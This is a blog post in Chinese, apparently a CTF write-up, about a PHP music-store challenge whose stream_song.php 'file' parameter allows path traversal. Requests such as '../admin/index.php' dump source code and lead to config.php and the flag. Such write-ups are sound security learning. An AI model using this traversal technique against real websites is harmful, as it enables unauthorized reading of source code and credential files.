看了幾題題目不太難,洞都滿經典的
發這篇文是為了紀念第一次在比賽中獨力做出 Web 題 XD
以往 Web 全都給隊友,難得自己打比賽就看了一下 Web 題這樣
題目提供一個網站連結:
網站用 php 寫的,駭客最愛的語言!
表面上的按鈕有 4 個:Home, Music Player, Music Video, Contact
檢視原始碼看到 Music Player 頁面中有一段可疑的 js:
function updateSource(song) {
var audio = document.getElementById('audio');
var source = document.getElementById('mpSource');
source.src='stream_song.php?file=' + song;
audio.load();
audio.play();
}
看得出來有隻
stream_song.php 會接 file 參數來播放 mp3 檔案。如此明顯的參數暗示,這裏很可能有個任意讀檔漏洞!
嘗試了一下就發現可以利用
/stream_song.php?file=../index.php 撈出 source code 們。撈出來的時候會是經過 base64 encode 的:
但發現頁面上的 4 個 php 的 source 全都是純粹的 html,完全沒有 php code。
嘗試了一些常見檔案
admin.php flag flag.php secret secret.php 沒有收穫。接著發現網站有放
robots.txt,內容是:User-agent: * Disallow: /admin
這種寫法應該代表著
admin 是一個資料夾,因此嘗試看看 admin/index.phpBingo!
decode
stream_song.php?file=../admin/index.php 獲得檔案內容:<?php
include 'config.php';
$msg = "Please log in";
if ($_POST['login'] == $USER && $_POST['password'] == $PASSWD) {
die("Backend not yet implemented. :0");
} else if ($_POST['login']) {
$msg = "Login was incorrect";
}
?>
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]-->
<!--[if IE 7]> <html class="lt-ie9 lt-ie8" lang="en"> <![endif]-->
<!--[if IE 8]> <html class="lt-ie9" lang="en"> <![endif]-->
<!--[if gt IE 8]><!--> <html lang="en"> <!--<![endif]-->
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Login Form</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<section class="container">
<div class="login">
<h1>Login to Music Store Backend</h1>
<?php echo $msg; ?>
<form method="post" action="index.php">
<p><input type="text" name="login" value="" placeholder="Username or Email"></p>
<p><input type="password" name="password" value="" placeholder="Password"></p>
<p class="remember_me">
<label>
<input type="checkbox" name="remember_me" id="remember_me">
Remember me on this computer
</label>
</p>
<p class="submit"><input type="submit" name="commit" value="Login"></p>
</form>
</div>
</section>
</body>
</html>
下一步就很明顯了,要看
config.php:打 CTF 時,尤其快要拿到 flag 的時候記得別把任意字元都赤裸裸的印到螢幕上,有時候會刻意插一些控制字元蒙蔽真相
config.php 後面就有一堆鬼東西,不知道印到螢幕上會發生什麼事,沒嘗試XDFlag:
flag{R3M0T3_F1L3_1NC_571II_R0CK5}




沒有留言:
張貼留言